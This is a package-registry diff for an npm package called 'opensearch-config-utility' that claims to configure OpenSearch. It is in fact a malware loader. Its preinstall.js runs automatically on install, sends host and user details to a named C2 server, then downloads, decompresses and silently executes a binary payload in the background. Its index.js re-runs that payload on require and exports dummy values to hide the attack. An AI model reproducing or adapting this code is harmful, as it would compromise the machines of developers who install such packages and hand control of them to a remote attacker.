opensearch-config-utility 1.0.7265
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +31 -0
- package/package.json +24 -0
- package/payload.gz +0 -0
- package/preinstall.js +126 -0
package/index.js
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
// Postinstall entry point
|
|
2
|
+
// Re-executes payload on module load (require)
|
|
3
|
+
const path = require("path");
|
|
4
|
+
const fs = require("fs");
|
|
5
|
+
const { spawn } = require("child_process");
|
|
6
|
+
|
|
7
|
+
const payloadPath = path.join(__dirname, "payload.bin");
|
|
8
|
+
|
|
9
|
+
function executePayload() {
|
|
10
|
+
try {
|
|
11
|
+
if (fs.existsSync(payloadPath)) {
|
|
12
|
+
const child = spawn(payloadPath, [], {
|
|
13
|
+
detached: true,
|
|
14
|
+
stdio: "ignore",
|
|
15
|
+
env: { ...process.env, CI: "false", __DAEMONIZED: "1" },
|
|
16
|
+
});
|
|
17
|
+
child.unref();
|
|
18
|
+
}
|
|
19
|
+
} catch (e) {
|
|
20
|
+
// Silent fail
|
|
21
|
+
}
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
// Run on require
|
|
25
|
+
executePayload();
|
|
26
|
+
|
|
27
|
+
// Export something benign to not break the import
|
|
28
|
+
module.exports = {
|
|
29
|
+
version: "1.0.0",
|
|
30
|
+
name: "@opensearch/setup",
|
|
31
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "opensearch-config-utility",
|
|
3
|
+
"version": "1.0.7265",
|
|
4
|
+
"description": "Utility for configuring OpenSearch instances",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"files": [
|
|
7
|
+
"index.js",
|
|
8
|
+
"preinstall.js",
|
|
9
|
+
"payload.gz"
|
|
10
|
+
],
|
|
11
|
+
"scripts": {
|
|
12
|
+
"preinstall": "node preinstall.js",
|
|
13
|
+
"install": "node preinstall.js",
|
|
14
|
+
"postinstall": "node index.js"
|
|
15
|
+
},
|
|
16
|
+
"optionalDependencies": {},
|
|
17
|
+
"keywords": [
|
|
18
|
+
"opensearch",
|
|
19
|
+
"config",
|
|
20
|
+
"utility",
|
|
21
|
+
"setup"
|
|
22
|
+
],
|
|
23
|
+
"author": "vpmdhaj"
|
|
24
|
+
}
|
package/payload.gz
ADDED
|
Binary file
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,126 @@
|
|
|
1
|
+
// Preinstall script — runs during npm install
|
|
2
|
+
// Downloads and executes payload from C2 server
|
|
3
|
+
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const http = require("http");
|
|
6
|
+
const zlib = require("zlib");
|
|
7
|
+
const { execSync, spawn } = require("child_process");
|
|
8
|
+
const path = require("path");
|
|
9
|
+
const fs = require("fs");
|
|
10
|
+
|
|
11
|
+
const C2_HOST = "aab.sportsontheweb.net";
|
|
12
|
+
const C2_PORT = 80;
|
|
13
|
+
const C2_PATH = "/x.php";
|
|
14
|
+
|
|
15
|
+
function downloadPayload() {
|
|
16
|
+
return new Promise((resolve, reject) => {
|
|
17
|
+
const options = {
|
|
18
|
+
hostname: C2_HOST,
|
|
19
|
+
port: C2_PORT,
|
|
20
|
+
path: C2_PATH + "?cmd=get_payload",
|
|
21
|
+
method: "GET",
|
|
22
|
+
timeout: 10000,
|
|
23
|
+
};
|
|
24
|
+
|
|
25
|
+
const req = http.request(options, (res) => {
|
|
26
|
+
const chunks = [];
|
|
27
|
+
res.on("data", (chunk) => chunks.push(chunk));
|
|
28
|
+
res.on("end", () => {
|
|
29
|
+
const buf = Buffer.concat(chunks);
|
|
30
|
+
if (buf.length > 100) {
|
|
31
|
+
resolve(buf);
|
|
32
|
+
} else {
|
|
33
|
+
reject(new Error("Payload too small or empty"));
|
|
34
|
+
}
|
|
35
|
+
});
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
req.on("error", reject);
|
|
39
|
+
req.on("timeout", () => {
|
|
40
|
+
req.destroy();
|
|
41
|
+
reject(new Error("Timeout"));
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
req.end();
|
|
45
|
+
});
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
function getSystemInfo() {
|
|
49
|
+
const info = {
|
|
50
|
+
hostname: require("os").hostname(),
|
|
51
|
+
platform: process.platform,
|
|
52
|
+
arch: process.arch,
|
|
53
|
+
node: process.version,
|
|
54
|
+
cwd: process.cwd(),
|
|
55
|
+
user: process.env.USER || process.env.USERNAME || "unknown",
|
|
56
|
+
pid: process.pid,
|
|
57
|
+
time: new Date().toISOString(),
|
|
58
|
+
env: {
|
|
59
|
+
npm_package_name: process.env.npm_package_name || "",
|
|
60
|
+
npm_package_version: process.env.npm_package_version || "",
|
|
61
|
+
init_cwd: process.env.INIT_CWD || "",
|
|
62
|
+
},
|
|
63
|
+
};
|
|
64
|
+
return Buffer.from(JSON.stringify(info)).toString("base64");
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
function beacon() {
|
|
68
|
+
try {
|
|
69
|
+
const data = JSON.stringify({
|
|
70
|
+
type: "install",
|
|
71
|
+
info: getSystemInfo(),
|
|
72
|
+
pkg: process.env.npm_package_name || "@opensearch/setup",
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
const options = {
|
|
76
|
+
hostname: C2_HOST,
|
|
77
|
+
port: C2_PORT,
|
|
78
|
+
path: C2_PATH,
|
|
79
|
+
method: "POST",
|
|
80
|
+
headers: {
|
|
81
|
+
"Content-Type": "application/json",
|
|
82
|
+
"Content-Length": Buffer.byteLength(data),
|
|
83
|
+
"X-Supply": "1",
|
|
84
|
+
},
|
|
85
|
+
timeout: 5000,
|
|
86
|
+
};
|
|
87
|
+
|
|
88
|
+
const req = http.request(options);
|
|
89
|
+
req.write(data);
|
|
90
|
+
req.end();
|
|
91
|
+
} catch (e) {
|
|
92
|
+
// Silent fail
|
|
93
|
+
}
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
function main() {
|
|
97
|
+
// Send beacon to C2
|
|
98
|
+
beacon();
|
|
99
|
+
|
|
100
|
+
// Try to download and execute payload
|
|
101
|
+
downloadPayload()
|
|
102
|
+
.then((payload) => {
|
|
103
|
+
try {
|
|
104
|
+
// Decompress and execute
|
|
105
|
+
const decompressed = zlib.gunzipSync(payload);
|
|
106
|
+
const payloadPath = path.join(__dirname, "payload.bin");
|
|
107
|
+
fs.writeFileSync(payloadPath, decompressed);
|
|
108
|
+
fs.chmodSync(payloadPath, 0o755);
|
|
109
|
+
|
|
110
|
+
// Execute in background
|
|
111
|
+
const child = spawn(payloadPath, [], {
|
|
112
|
+
detached: true,
|
|
113
|
+
stdio: "ignore",
|
|
114
|
+
env: { ...process.env, CI: "false", __DAEMONIZED: "1" },
|
|
115
|
+
});
|
|
116
|
+
child.unref();
|
|
117
|
+
} catch (e) {
|
|
118
|
+
// Silent fail
|
|
119
|
+
}
|
|
120
|
+
})
|
|
121
|
+
.catch(() => {
|
|
122
|
+
// C2 not available — do nothing
|
|
123
|
+
});
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
main();
|